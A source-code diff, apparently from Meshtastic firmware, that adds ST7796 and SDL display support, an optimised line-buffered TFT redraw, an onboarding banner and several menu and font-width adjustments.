@@ -562,6 +562,91 @@ class LGFX : public lgfx::LGFX_Device
|
||||
|
||||
static LGFX *tft = nullptr;
|
||||
|
||||
#elif defined(ST7796_CS)
|
||||
#include <LovyanGFX.hpp> // Graphics and font library for ST7796 driver chip
|
||||
|
||||
class LGFX : public lgfx::LGFX_Device
|
||||
{
|
||||
lgfx::Panel_ST7796 _panel_instance;
|
||||
lgfx::Bus_SPI _bus_instance;
|
||||
lgfx::Light_PWM _light_instance;
|
||||
|
||||
public:
|
||||
LGFX(void)
|
||||
{
|
||||
{
|
||||
auto cfg = _bus_instance.config();
|
||||
|
||||
// SPI
|
||||
cfg.spi_host = ST7796_SPI_HOST;
|
||||
cfg.spi_mode = 0;
|
||||
cfg.freq_write = SPI_FREQUENCY; // SPI clock for transmission (up to 80MHz, rounded to the value obtained by dividing
|
||||
// 80MHz by an integer)
|
||||
cfg.freq_read = SPI_READ_FREQUENCY; // SPI clock when receiving
|
||||
cfg.spi_3wire = false;
|
||||
cfg.use_lock = true; // Set to true to use transaction locking
|
||||
cfg.dma_channel = SPI_DMA_CH_AUTO; // SPI_DMA_CH_AUTO; // Set DMA channel to use (0=not use DMA / 1=1ch / 2=ch /
|
||||
// SPI_DMA_CH_AUTO=auto setting)
|
||||
cfg.pin_sclk = ST7796_SCK; // Set SPI SCLK pin number
|
||||
cfg.pin_mosi = ST7796_SDA; // Set SPI MOSI pin number
|
||||
cfg.pin_miso = ST7796_MISO; // Set SPI MISO pin number (-1 = disable)
|
||||
cfg.pin_dc = ST7796_RS; // Set SPI DC pin number (-1 = disable)
|
||||
|
||||
_bus_instance.config(cfg); // applies the set value to the bus.
|
||||
_panel_instance.setBus(&_bus_instance); // set the bus on the panel.
|
||||
}
|
||||
|
||||
{ // Set the display panel control.
|
||||
auto cfg = _panel_instance.config(); // Gets a structure for display panel settings.
|
||||
|
||||
cfg.pin_cs = ST7796_CS; // Pin number where CS is connected (-1 = disable)
|
||||
cfg.pin_rst = ST7796_RESET; // Pin number where RST is connected (-1 = disable)
|
||||
cfg.pin_busy = ST7796_BUSY; // Pin number where BUSY is connected (-1 = disable)
|
||||
|
||||
// cfg.memory_width = TFT_WIDTH; // Maximum width supported by the driver IC
|
||||
// cfg.memory_height = TFT_HEIGHT; // Maximum height supported by the driver IC
|
||||
cfg.panel_width = TFT_WIDTH; // actual displayable width
|
||||
cfg.panel_height = TFT_HEIGHT; // actual displayable height
|
||||
cfg.offset_x = TFT_OFFSET_X; // Panel offset amount in X direction
|
||||
cfg.offset_y = TFT_OFFSET_Y; // Panel offset amount in Y direction
|
||||
cfg.offset_rotation = TFT_OFFSET_ROTATION; // Rotation direction value offset 0~7 (4~7 is mirrored)
|
||||
#ifdef TFT_DUMMY_READ_PIXELS
|
||||
cfg.dummy_read_pixel = TFT_DUMMY_READ_PIXELS; // Number of bits for dummy read before pixel readout
|
||||
#else
|
||||
cfg.dummy_read_pixel = 8; // Number of bits for dummy read before pixel readout
|
||||
#endif
|
||||
cfg.dummy_read_bits = 1; // Number of bits for dummy read before non-pixel data read
|
||||
cfg.readable = true; // Set to true if data can be read
|
||||
cfg.invert = true; // Set to true if the light/darkness of the panel is reversed
|
||||
cfg.rgb_order = false; // Set to true if the panel's red and blue are swapped
|
||||
cfg.dlen_16bit =
|
||||
false; // Set to true for panels that transmit data length in 16-bit units with 16-bit parallel or SPI
|
||||
cfg.bus_shared = true; // If the bus is shared with the SD card, set to true (bus control with drawJpgFile etc.)
|
||||
|
||||
_panel_instance.config(cfg);
|
||||
}
|
||||
|
||||
#ifdef ST7796_BL
|
||||
// Set the backlight control. (delete if not necessary)
|
||||
{
|
||||
auto cfg = _light_instance.config(); // Gets a structure for backlight settings.
|
||||
|
||||
cfg.pin_bl = ST7796_BL; // Pin number to which the backlight is connected
|
||||
cfg.invert = false; // true to invert the brightness of the backlight
|
||||
cfg.freq = 44100;
|
||||
cfg.pwm_channel = 7;
|
||||
|
||||
_light_instance.config(cfg);
|
||||
_panel_instance.setLight(&_light_instance); // Set the backlight on the panel.
|
||||
}
|
||||
#endif
|
||||
|
||||
setPanel(&_panel_instance); // Sets the panel to use.
|
||||
}
|
||||
};
|
||||
|
||||
static LGFX *tft = nullptr;
|
||||
|
||||
#elif defined(ILI9341_DRIVER) || defined(ILI9342_DRIVER)
|
||||
|
||||
#include <LovyanGFX.hpp> // Graphics and font library for ILI9341/ILI9342 driver chip
|
||||
@@ -667,15 +752,19 @@ static LGFX *tft = nullptr;
|
||||
static TFT_eSPI *tft = nullptr; // Invoke library, pins defined in User_Setup.h
|
||||
#elif ARCH_PORTDUINO
|
||||
#include <LovyanGFX.hpp> // Graphics and font library for ST7735 driver chip
|
||||
#if defined(LGFX_SDL)
|
||||
#include <lgfx/v1/platforms/sdl/Panel_sdl.hpp>
|
||||
#endif
|
||||
|
||||
class LGFX : public lgfx::LGFX_Device
|
||||
{
|
||||
lgfx::Panel_Device *_panel_instance;
|
||||
lgfx::Bus_SPI _bus_instance;
|
||||
|
||||
lgfx::ITouch *_touch_instance;
|
||||
|
||||
public:
|
||||
lgfx::Panel_Device *_panel_instance;
|
||||
|
||||
LGFX(void)
|
||||
{
|
||||
if (settingsMap[displayPanel] == st7789)
|
||||
@@ -694,6 +783,11 @@ class LGFX : public lgfx::LGFX_Device
|
||||
_panel_instance = new lgfx::Panel_ILI9488;
|
||||
else if (settingsMap[displayPanel] == hx8357d)
|
||||
_panel_instance = new lgfx::Panel_HX8357D;
|
||||
#if defined(LGFX_SDL)
|
||||
else if (settingsMap[displayPanel] == x11) {
|
||||
_panel_instance = new lgfx::Panel_sdl;
|
||||
}
|
||||
#endif
|
||||
else {
|
||||
_panel_instance = new lgfx::Panel_NULL;
|
||||
LOG_ERROR("Unknown display panel configured!");
|
||||
@@ -754,7 +848,13 @@ class LGFX : public lgfx::LGFX_Device
|
||||
_touch_instance->config(touch_cfg);
|
||||
_panel_instance->setTouch(_touch_instance);
|
||||
}
|
||||
|
||||
#if defined(LGFX_SDL)
|
||||
if (settingsMap[displayPanel] == x11) {
|
||||
lgfx::Panel_sdl *sdl_panel_ = (lgfx::Panel_sdl *)_panel_instance;
|
||||
sdl_panel_->setup();
|
||||
sdl_panel_->addKeyCodeMapping(SDLK_RETURN, SDL_SCANCODE_KP_ENTER);
|
||||
}
|
||||
#endif
|
||||
setPanel(_panel_instance); // Sets the panel to use.
|
||||
}
|
||||
};
|
||||
@@ -849,9 +949,29 @@ static LGFX *tft = nullptr;
|
||||
#include <lgfx/v1/platforms/esp32s3/Bus_RGB.hpp>
|
||||
#include <lgfx/v1/platforms/esp32s3/Panel_RGB.hpp>
|
||||
|
||||
class PanelInit_ST7701 : public lgfx::Panel_ST7701
|
||||
{
|
||||
public:
|
||||
const uint8_t *getInitCommands(uint8_t listno) const override
|
||||
{
|
||||
// 180 degree hw rotation: vertical flip, horizontal flip
|
||||
static constexpr const uint8_t list1[] = {0x36, 1, 0x10, // MADCTL for vertical flip
|
||||
0xFF, 5, 0x77, 0x01, 0x00, 0x00, 0x10, // Command2 BK0 SEL
|
||||
0xC7, 1, 0x04, // SDIR: X-direction Control (Horizontal Flip)
|
||||
0xFF, 5, 0x77, 0x01, 0x00, 0x00, 0x00, // Command2 BK0 DIS
|
||||
0xFF, 0xFF};
|
||||
switch (listno) {
|
||||
case 1:
|
||||
return list1;
|
||||
default:
|
||||
return lgfx::Panel_ST7701::getInitCommands(listno);
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
class LGFX : public lgfx::LGFX_Device
|
||||
{
|
||||
lgfx::Panel_ST7701 _panel_instance;
|
||||
PanelInit_ST7701 _panel_instance;
|
||||
lgfx::Bus_RGB _bus_instance;
|
||||
lgfx::Light_PWM _light_instance;
|
||||
lgfx::Touch_FT5x06 _touch_instance;
|
||||
@@ -962,8 +1082,9 @@ static LGFX *tft = nullptr;
|
||||
|
||||
#endif
|
||||
|
||||
#if defined(ST7701_CS) || defined(ST7735_CS) || defined(ST7789_CS) || defined(ILI9341_DRIVER) || defined(ILI9342_DRIVER) || \
|
||||
defined(RAK14014) || defined(HX8357_CS) || defined(ILI9488_CS) || defined(ST72xx_DE) || (ARCH_PORTDUINO && HAS_SCREEN != 0)
|
||||
#if defined(ST7701_CS) || defined(ST7735_CS) || defined(ST7789_CS) || defined(ST7796_CS) || defined(ILI9341_DRIVER) || \
|
||||
defined(ILI9342_DRIVER) || defined(RAK14014) || defined(HX8357_CS) || defined(ILI9488_CS) || defined(ST72xx_DE) || \
|
||||
(ARCH_PORTDUINO && HAS_SCREEN != 0)
|
||||
#include "SPILock.h"
|
||||
#include "TFTDisplay.h"
|
||||
#include <SPI.h>
|
||||
@@ -1012,32 +1133,140 @@ void TFTDisplay::display(bool fromBlank)
|
||||
{
|
||||
if (fromBlank)
|
||||
tft->fillScreen(TFT_BLACK);
|
||||
// tft->clear();
|
||||
|
||||
concurrency::LockGuard g(spiLock);
|
||||
|
||||
uint16_t x, y;
|
||||
uint32_t x, y;
|
||||
uint32_t y_byteIndex;
|
||||
uint8_t y_byteMask;
|
||||
uint32_t x_FirstPixelUpdate;
|
||||
uint32_t x_LastPixelUpdate;
|
||||
bool isset, dblbuf_isset;
|
||||
uint16_t colorTftMesh, colorTftBlack;
|
||||
bool somethingChanged = false;
|
||||
|
||||
for (y = 0; y < displayHeight; y++) {
|
||||
for (x = 0; x < displayWidth; x++) {
|
||||
auto isset = buffer[x + (y / 8) * displayWidth] & (1 << (y & 7));
|
||||
// Store colors byte-reversed so that TFT_eSPI doesn't have to swap bytes in a separate step
|
||||
colorTftMesh = (TFT_MESH >> 8) | ((TFT_MESH & 0xFF) << 8);
|
||||
colorTftBlack = (TFT_BLACK >> 8) | ((TFT_BLACK & 0xFF) << 8);
|
||||
|
||||
y = 0;
|
||||
while (y < displayHeight) {
|
||||
y_byteIndex = (y / 8) * displayWidth;
|
||||
y_byteMask = (1 << (y & 7));
|
||||
|
||||
// Step 1: Do a quick scan of 8 rows together. This allows fast-forwarding over unchanged screen areas.
|
||||
if (y_byteMask == 1) {
|
||||
if (!fromBlank) {
|
||||
// get src pixel in the page based ordering the OLED lib uses FIXME, super inefficent
|
||||
auto dblbuf_isset = buffer_back[x + (y / 8) * displayWidth] & (1 << (y & 7));
|
||||
if (isset != dblbuf_isset) {
|
||||
tft->drawPixel(x, y, isset ? TFT_MESH : TFT_BLACK);
|
||||
for (x = 0; x < displayWidth; x++) {
|
||||
if (buffer[x + y_byteIndex] != buffer_back[x + y_byteIndex])
|
||||
break;
|
||||
}
|
||||
} else if (isset) {
|
||||
tft->drawPixel(x, y, TFT_MESH);
|
||||
} else {
|
||||
for (x = 0; x < displayWidth; x++) {
|
||||
if (buffer[x + y_byteIndex] != 0)
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (x >= displayWidth) {
|
||||
// No changed pixels found in these 8 rows, fast-forward to the next 8
|
||||
y = y + 8;
|
||||
continue;
|
||||
}
|
||||
}
|
||||
|
||||
// Step 2: Scan each of the 8 rows individually. Find the first pixel in each row that needs updating
|
||||
for (x_FirstPixelUpdate = 0; x_FirstPixelUpdate < displayWidth; x_FirstPixelUpdate++) {
|
||||
isset = buffer[x_FirstPixelUpdate + y_byteIndex] & y_byteMask;
|
||||
|
||||
if (!fromBlank) {
|
||||
// get src pixel in the page based ordering the OLED lib uses
|
||||
dblbuf_isset = buffer_back[x_FirstPixelUpdate + y_byteIndex] & y_byteMask;
|
||||
if (isset != dblbuf_isset) {
|
||||
break;
|
||||
}
|
||||
} else if (isset) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// Did we find a pixel that needs updating on this row?
|
||||
if (x_FirstPixelUpdate < displayWidth) {
|
||||
|
||||
// Quickly write out the first changed pixel (saves another array lookup)
|
||||
linePixelBuffer[x_FirstPixelUpdate] = isset ? colorTftMesh : colorTftBlack;
|
||||
x_LastPixelUpdate = x_FirstPixelUpdate;
|
||||
|
||||
// Step 3: copy all remaining pixels in this row into the pixel line buffer,
|
||||
// while also recording the last pixel in the row that needs updating
|
||||
for (x = x_FirstPixelUpdate + 1; x < displayWidth; x++) {
|
||||
isset = buffer[x + y_byteIndex] & y_byteMask;
|
||||
linePixelBuffer[x] = isset ? colorTftMesh : colorTftBlack;
|
||||
|
||||
if (!fromBlank) {
|
||||
dblbuf_isset = buffer_back[x + y_byteIndex] & y_byteMask;
|
||||
if (isset != dblbuf_isset) {
|
||||
x_LastPixelUpdate = x;
|
||||
}
|
||||
} else if (isset) {
|
||||
x_LastPixelUpdate = x;
|
||||
}
|
||||
}
|
||||
|
||||
// Step 4: Send the changed pixels on this line to the screen as a single block transfer.
|
||||
// This function accepts pixel data MSB first so it can dump the memory straight out the SPI port.
|
||||
tft->pushRect(x_FirstPixelUpdate, y, (x_LastPixelUpdate - x_FirstPixelUpdate + 1), 1,
|
||||
&linePixelBuffer[x_FirstPixelUpdate]);
|
||||
|
||||
somethingChanged = true;
|
||||
}
|
||||
y++;
|
||||
}
|
||||
// Copy the Buffer to the Back Buffer
|
||||
for (y = 0; y < (displayHeight / 8); y++) {
|
||||
for (x = 0; x < displayWidth; x++) {
|
||||
uint16_t pos = x + y * displayWidth;
|
||||
buffer_back[pos] = buffer[pos];
|
||||
if (somethingChanged)
|
||||
memcpy(buffer_back, buffer, displayBufferSize);
|
||||
}
|
||||
|
||||
void TFTDisplay::sdlLoop()
|
||||
{
|
||||
#if defined(LGFX_SDL)
|
||||
static int lastPressed = 0;
|
||||
static int shuttingDown = false;
|
||||
if (settingsMap[displayPanel] == x11) {
|
||||
lgfx::Panel_sdl *sdl_panel_ = (lgfx::Panel_sdl *)tft->_panel_instance;
|
||||
if (sdl_panel_->loop() && !shuttingDown) {
|
||||
LOG_WARN("Window Closed!");
|
||||
InputEvent event = {.inputEvent = (input_broker_event)INPUT_BROKER_SHUTDOWN, .kbchar = 0, .touchX = 0, .touchY = 0};
|
||||
inputBroker->injectInputEvent(&event);
|
||||
}
|
||||
|
||||
// debounce
|
||||
if (lastPressed != 0 && !lgfx::v1::gpio_in(lastPressed))
|
||||
return;
|
||||
if (!lgfx::v1::gpio_in(37)) {
|
||||
lastPressed = 37;
|
||||
InputEvent event = {.inputEvent = (input_broker_event)INPUT_BROKER_RIGHT, .kbchar = 0, .touchX = 0, .touchY = 0};
|
||||
inputBroker->injectInputEvent(&event);
|
||||
} else if (!lgfx::v1::gpio_in(36)) {
|
||||
lastPressed = 36;
|
||||
InputEvent event = {.inputEvent = (input_broker_event)INPUT_BROKER_UP, .kbchar = 0, .touchX = 0, .touchY = 0};
|
||||
inputBroker->injectInputEvent(&event);
|
||||
} else if (!lgfx::v1::gpio_in(38)) {
|
||||
lastPressed = 38;
|
||||
InputEvent event = {.inputEvent = (input_broker_event)INPUT_BROKER_DOWN, .kbchar = 0, .touchX = 0, .touchY = 0};
|
||||
inputBroker->injectInputEvent(&event);
|
||||
} else if (!lgfx::v1::gpio_in(39)) {
|
||||
lastPressed = 39;
|
||||
InputEvent event = {.inputEvent = (input_broker_event)INPUT_BROKER_LEFT, .kbchar = 0, .touchX = 0, .touchY = 0};
|
||||
inputBroker->injectInputEvent(&event);
|
||||
} else if (!lgfx::v1::gpio_in(SDL_SCANCODE_KP_ENTER)) {
|
||||
lastPressed = SDL_SCANCODE_KP_ENTER;
|
||||
InputEvent event = {.inputEvent = (input_broker_event)INPUT_BROKER_SELECT, .kbchar = 0, .touchX = 0, .touchY = 0};
|
||||
inputBroker->injectInputEvent(&event);
|
||||
} else {
|
||||
lastPressed = 0;
|
||||
}
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
// Send a command to the display (low level function)
|
||||
@@ -1184,15 +1413,23 @@ bool TFTDisplay::connect()
|
||||
attachInterrupt(digitalPinToInterrupt(SCREEN_TOUCH_INT), rak14014_tpIntHandle, FALLING);
|
||||
#elif defined(T_DECK) || defined(PICOMPUTER_S3) || defined(CHATTER_2)
|
||||
tft->setRotation(1); // T-Deck has the TFT in landscape
|
||||
#elif defined(T_WATCH_S3) || defined(SENSECAP_INDICATOR)
|
||||
#elif defined(T_WATCH_S3)
|
||||
tft->setRotation(2); // T-Watch S3 left-handed orientation
|
||||
#elif ARCH_PORTDUINO
|
||||
#elif ARCH_PORTDUINO || defined(SENSECAP_INDICATOR) || defined(T_LORA_PAGER)
|
||||
tft->setRotation(0); // use config.yaml to set rotation
|
||||
#else
|
||||
tft->setRotation(3); // Orient horizontal and wide underneath the silkscreen name label
|
||||
#endif
|
||||
tft->fillScreen(TFT_BLACK);
|
||||
|
||||
if (this->linePixelBuffer == NULL) {
|
||||
this->linePixelBuffer = (uint16_t *)malloc(sizeof(uint16_t) * displayWidth);
|
||||
|
||||
if (!this->linePixelBuffer) {
|
||||
LOG_ERROR("Not enough memory to create TFT line buffer\n");
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
@@ -23,6 +23,7 @@ class TFTDisplay : public OLEDDisplay
|
||||
// Write the buffer to the display memory
|
||||
virtual void display() override { display(false); };
|
||||
virtual void display(bool fromBlank);
|
||||
void sdlLoop();
|
||||
|
||||
// Turn the display upside down
|
||||
virtual void flipScreenVertically();
|
||||
@@ -57,4 +58,6 @@ class TFTDisplay : public OLEDDisplay
|
||||
|
||||
// Connect to the display
|
||||
virtual bool connect() override;
|
||||
|
||||
uint16_t *linePixelBuffer = nullptr;
|
||||
};
|
||||
@@ -94,7 +94,8 @@ void drawFrame(OLEDDisplay *display, OLEDDisplayUiState *state, int16_t x, int16
|
||||
if (!Throttle::isWithinTimespanMs(storeForwardModule->lastHeartbeat,
|
||||
(storeForwardModule->heartbeatInterval * 1200))) { // no heartbeat, overlap a bit
|
||||
#if (defined(USE_EINK) || defined(ILI9341_DRIVER) || defined(ILI9342_DRIVER) || defined(ST7701_CS) || defined(ST7735_CS) || \
|
||||
defined(ST7789_CS) || defined(USE_ST7789) || defined(ILI9488_CS) || defined(HX8357_CS) || ARCH_PORTDUINO) && \
|
||||
defined(ST7789_CS) || defined(USE_ST7789) || defined(ILI9488_CS) || defined(HX8357_CS) || defined(ST7796_CS) || \
|
||||
ARCH_PORTDUINO) && \
|
||||
!defined(DISPLAY_FORCE_SMALL_FONTS)
|
||||
display->drawFastImage(x + SCREEN_WIDTH - 14 - display->getStringWidth(screen->ourId), y + 3 + FONT_HEIGHT_SMALL, 12,
|
||||
8, imgQuestionL1);
|
||||
@@ -106,7 +107,7 @@ void drawFrame(OLEDDisplay *display, OLEDDisplayUiState *state, int16_t x, int16
|
||||
#endif
|
||||
} else {
|
||||
#if (defined(USE_EINK) || defined(ILI9341_DRIVER) || defined(ILI9342_DRIVER) || defined(ST7701_CS) || defined(ST7735_CS) || \
|
||||
defined(ST7789_CS) || defined(USE_ST7789) || defined(ILI9488_CS) || defined(HX8357_CS)) && \
|
||||
defined(ST7789_CS) || defined(USE_ST7789) || defined(ILI9488_CS) || defined(HX8357_CS) || defined(ST7796_CS)) && \
|
||||
!defined(DISPLAY_FORCE_SMALL_FONTS)
|
||||
display->drawFastImage(x + SCREEN_WIDTH - 18 - display->getStringWidth(screen->ourId), y + 3 + FONT_HEIGHT_SMALL, 16,
|
||||
8, imgSFL1);
|
||||
@@ -121,7 +122,8 @@ void drawFrame(OLEDDisplay *display, OLEDDisplayUiState *state, int16_t x, int16
|
||||
} else {
|
||||
// TODO: Raspberry Pi supports more than just the one screen size
|
||||
#if (defined(USE_EINK) || defined(ILI9341_DRIVER) || defined(ILI9342_DRIVER) || defined(ST7701_CS) || defined(ST7735_CS) || \
|
||||
defined(ST7789_CS) || defined(USE_ST7789) || defined(ILI9488_CS) || defined(HX8357_CS) || ARCH_PORTDUINO) && \
|
||||
defined(ST7789_CS) || defined(USE_ST7789) || defined(ILI9488_CS) || defined(HX8357_CS) || defined(ST7796_CS) || \
|
||||
ARCH_PORTDUINO) && \
|
||||
!defined(DISPLAY_FORCE_SMALL_FONTS)
|
||||
display->drawFastImage(x + SCREEN_WIDTH - 14 - display->getStringWidth(screen->ourId), y + 3 + FONT_HEIGHT_SMALL, 12, 8,
|
||||
imgInfoL1);
|
||||
|
||||
@@ -26,6 +26,27 @@ menuHandler::screenMenus menuHandler::menuQueue = menu_none;
|
||||
bool test_enabled = false;
|
||||
uint8_t test_count = 0;
|
||||
|
||||
void menuHandler::OnboardMessage()
|
||||
{
|
||||
static const char *optionsArray[] = {"OK", "Got it!"};
|
||||
enum optionsNumbers { OK, got };
|
||||
BannerOverlayOptions bannerOptions;
|
||||
#if HAS_TFT
|
||||
bannerOptions.message = "Welcome to Meshtastic!\nSwipe to navigate and\nlong press to select\nor open a menu.";
|
||||
#elif defined(BUTTON_PIN)
|
||||
bannerOptions.message = "Welcome to Meshtastic!\nClick to navigate and\nlong press to select\nor open a menu.";
|
||||
#else
|
||||
bannerOptions.message = "Welcome to Meshtastic!\nUse the Select button\nto open menus\nand make selections.";
|
||||
#endif
|
||||
bannerOptions.optionsArrayPtr = optionsArray;
|
||||
bannerOptions.optionsCount = 2;
|
||||
bannerOptions.bannerCallback = [](int selected) -> void {
|
||||
menuHandler::menuQueue = menuHandler::no_timeout_lora_picker;
|
||||
screen->runNow();
|
||||
};
|
||||
screen->showOverlayBanner(bannerOptions);
|
||||
}
|
||||
|
||||
void menuHandler::LoraRegionPicker(uint32_t duration)
|
||||
{
|
||||
static const char *optionsArray[] = {"Back",
|
||||
@@ -318,7 +339,7 @@ void menuHandler::homeBaseMenu()
|
||||
static int optionsEnumArray[enumEnd] = {Back};
|
||||
int options = 1;
|
||||
|
||||
#ifdef PIN_EINK_EN
|
||||
#if defined(PIN_EINK_EN) || defined(PCA_PIN_EINK_EN)
|
||||
optionsArray[options] = "Toggle Backlight";
|
||||
optionsEnumArray[options++] = Backlight;
|
||||
#else
|
||||
@@ -342,12 +363,24 @@ void menuHandler::homeBaseMenu()
|
||||
bannerOptions.optionsCount = options;
|
||||
bannerOptions.bannerCallback = [](int selected) -> void {
|
||||
if (selected == Backlight) {
|
||||
#ifdef PIN_EINK_EN
|
||||
if (digitalRead(PIN_EINK_EN) == HIGH) {
|
||||
#if defined(PIN_EINK_EN)
|
||||
if (uiconfig.screen_brightness == 1) {
|
||||
uiconfig.screen_brightness = 0;
|
||||
digitalWrite(PIN_EINK_EN, LOW);
|
||||
} else {
|
||||
uiconfig.screen_brightness = 1;
|
||||
digitalWrite(PIN_EINK_EN, HIGH);
|
||||
}
|
||||
saveUIConfig();
|
||||
#elif defined(PCA_PIN_EINK_EN)
|
||||
if (uiconfig.screen_brightness == 1) {
|
||||
uiconfig.screen_brightness = 0;
|
||||
io.digitalWrite(PCA_PIN_EINK_EN, LOW);
|
||||
} else {
|
||||
uiconfig.screen_brightness = 1;
|
||||
io.digitalWrite(PCA_PIN_EINK_EN, HIGH);
|
||||
}
|
||||
saveUIConfig();
|
||||
#endif
|
||||
} else if (selected == Sleep) {
|
||||
screen->setOn(false);
|
||||
@@ -401,8 +434,8 @@ void menuHandler::systemBaseMenu()
|
||||
|
||||
optionsArray[options] = "Notifications";
|
||||
optionsEnumArray[options++] = Notifications;
|
||||
#if defined(ST7789_CS) || defined(USE_OLED) || defined(USE_SSD1306) || defined(USE_SH1106) || defined(USE_SH1107) || \
|
||||
defined(HELTEC_MESH_NODE_T114) || defined(HELTEC_VISION_MASTER_T190) || HAS_TFT
|
||||
#if defined(ST7789_CS) || defined(ST7796_CS) || defined(USE_OLED) || defined(USE_SSD1306) || defined(USE_SH1106) || \
|
||||
defined(USE_SH1107) || defined(HELTEC_MESH_NODE_T114) || defined(HELTEC_VISION_MASTER_T190) || HAS_TFT
|
||||
optionsArray[options] = "Screen Options";
|
||||
optionsEnumArray[options++] = ScreenOptions;
|
||||
#endif
|
||||
@@ -692,7 +725,7 @@ void menuHandler::BrightnessPickerMenu()
|
||||
#if defined(HELTEC_MESH_NODE_T114) || defined(HELTEC_VISION_MASTER_T190)
|
||||
// For HELTEC devices, use analogWrite to control backlight
|
||||
analogWrite(VTFT_LEDA, uiconfig.screen_brightness);
|
||||
#elif defined(ST7789_CS)
|
||||
#elif defined(ST7789_CS) || defined(ST7796_CS)
|
||||
static_cast<TFTDisplay *>(screen->getDisplayDevice())->setDisplayBrightness(uiconfig.screen_brightness);
|
||||
#elif defined(USE_OLED) || defined(USE_SSD1306) || defined(USE_SH1106) || defined(USE_SH1107)
|
||||
screen->getDisplayDevice()->setBrightness(uiconfig.screen_brightness);
|
||||
@@ -735,7 +768,7 @@ void menuHandler::TFTColorPickerMenu(OLEDDisplay *display)
|
||||
bannerOptions.optionsArrayPtr = optionsArray;
|
||||
bannerOptions.optionsCount = 10;
|
||||
bannerOptions.bannerCallback = [display](int selected) -> void {
|
||||
#if defined(HELTEC_MESH_NODE_T114) || defined(HELTEC_VISION_MASTER_T190) || defined(T_DECK) || HAS_TFT
|
||||
#if defined(HELTEC_MESH_NODE_T114) || defined(HELTEC_VISION_MASTER_T190) || defined(T_DECK) || defined(T_LORA_PAGER) || HAS_TFT
|
||||
uint8_t TFT_MESH_r = 0;
|
||||
uint8_t TFT_MESH_g = 0;
|
||||
uint8_t TFT_MESH_b = 0;
|
||||
@@ -1012,7 +1045,7 @@ void menuHandler::screenOptionsMenu()
|
||||
}
|
||||
|
||||
// Only show screen color for TFT displays
|
||||
#if defined(HELTEC_MESH_NODE_T114) || defined(HELTEC_VISION_MASTER_T190) || defined(T_DECK) || HAS_TFT
|
||||
#if defined(HELTEC_MESH_NODE_T114) || defined(HELTEC_VISION_MASTER_T190) || defined(T_DECK) || defined(T_LORA_PAGER) || HAS_TFT
|
||||
optionsArray[options] = "Screen Color";
|
||||
optionsEnumArray[options++] = ScreenColor;
|
||||
#endif
|
||||
@@ -1120,6 +1153,9 @@ void menuHandler::handleMenuSwitch(OLEDDisplay *display)
|
||||
case lora_picker:
|
||||
LoraRegionPicker();
|
||||
break;
|
||||
case no_timeout_lora_picker:
|
||||
LoraRegionPicker(0);
|
||||
break;
|
||||
case TZ_picker:
|
||||
TZPicker();
|
||||
break;
|
||||
|
||||
@@ -10,6 +10,7 @@ class menuHandler
|
||||
enum screenMenus {
|
||||
menu_none,
|
||||
lora_picker,
|
||||
no_timeout_lora_picker,
|
||||
TZ_picker,
|
||||
twelve_hour_picker,
|
||||
clock_face_picker,
|
||||
@@ -41,6 +42,7 @@ class menuHandler
|
||||
};
|
||||
static screenMenus menuQueue;
|
||||
|
||||
static void OnboardMessage();
|
||||
static void LoraRegionPicker(uint32_t duration = 30000);
|
||||
static void handleMenuSwitch(OLEDDisplay *display);
|
||||
static void showConfirmationBanner(const char *message, std::function<void()> onConfirm);
|
||||
|
||||
@@ -137,7 +137,11 @@ void drawStringWithEmotes(OLEDDisplay *display, int x, int y, const std::string
|
||||
display->drawString(cursorX + 1, fontY, textChunk.c_str());
|
||||
}
|
||||
display->drawString(cursorX, fontY, textChunk.c_str());
|
||||
#if defined(OLED_UA) || defined(OLED_RU)
|
||||
cursorX += display->getStringWidth(textChunk.c_str(), textChunk.length(), true);
|
||||
#else
|
||||
cursorX += display->getStringWidth(textChunk.c_str());
|
||||
#endif
|
||||
i = nextControl;
|
||||
continue;
|
||||
}
|
||||
@@ -155,7 +159,12 @@ void drawStringWithEmotes(OLEDDisplay *display, int x, int y, const std::string
|
||||
display->drawString(cursorX + 1, fontY, remaining.c_str());
|
||||
}
|
||||
display->drawString(cursorX, fontY, remaining.c_str());
|
||||
#if defined(OLED_UA) || defined(OLED_RU)
|
||||
cursorX += display->getStringWidth(remaining.c_str(), remaining.length(), true);
|
||||
#else
|
||||
cursorX += display->getStringWidth(remaining.c_str());
|
||||
#endif
|
||||
|
||||
break;
|
||||
}
|
||||
}
|
||||
@@ -374,10 +383,16 @@ std::vector<std::string> generateLines(OLEDDisplay *display, const char *headerS
|
||||
} else {
|
||||
word += ch;
|
||||
std::string test = line + word;
|
||||
// Keep these lines for diagnostics
|
||||
// LOG_INFO("Char: '%c' (0x%02X)", ch, (unsigned char)ch);
|
||||
// LOG_INFO("Current String: %s", test.c_str());
|
||||
if (display->getStringWidth(test.c_str()) > textWidth) {
|
||||
// Keep these lines for diagnostics
|
||||
// LOG_INFO("Char: '%c' (0x%02X)", ch, (unsigned char)ch);
|
||||
// LOG_INFO("Current String: %s", test.c_str());
|
||||
// Note: there are boolean comparison uint16 (getStringWidth) with int (textWidth), hope textWidth is always positive :)
|
||||
#if defined(OLED_UA) || defined(OLED_RU)
|
||||
uint16_t strWidth = display->getStringWidth(test.c_str(), test.length(), true);
|
||||
#else
|
||||
uint16_t strWidth = display->getStringWidth(test.c_str());
|
||||
#endif
|
||||
if (strWidth > textWidth) {
|
||||
if (!line.empty())
|
||||
lines.push_back(line);
|
||||
line = word;
|
||||
|
||||
@@ -383,7 +383,9 @@ void NotificationRenderer::drawAlertBannerOverlay(OLEDDisplay *display, OLEDDisp
|
||||
|
||||
uint8_t firstOptionToShow = 0;
|
||||
if (alertBannerOptions > 0) {
|
||||
if (curSelected > 1 && alertBannerOptions > visibleTotalLines - lineCount) {
|
||||
if (visibleTotalLines - lineCount == 1) {
|
||||
firstOptionToShow = curSelected;
|
||||
} else if (curSelected > 1 && alertBannerOptions > visibleTotalLines - lineCount) {
|
||||
if (curSelected > alertBannerOptions - visibleTotalLines + lineCount)
|
||||
firstOptionToShow = alertBannerOptions - visibleTotalLines + lineCount;
|
||||
else
|
||||
@@ -392,6 +394,9 @@ void NotificationRenderer::drawAlertBannerOverlay(OLEDDisplay *display, OLEDDisp
|
||||
firstOptionToShow = 0;
|
||||
}
|
||||
}
|
||||
// Useful log line for troubleshooting:
|
||||
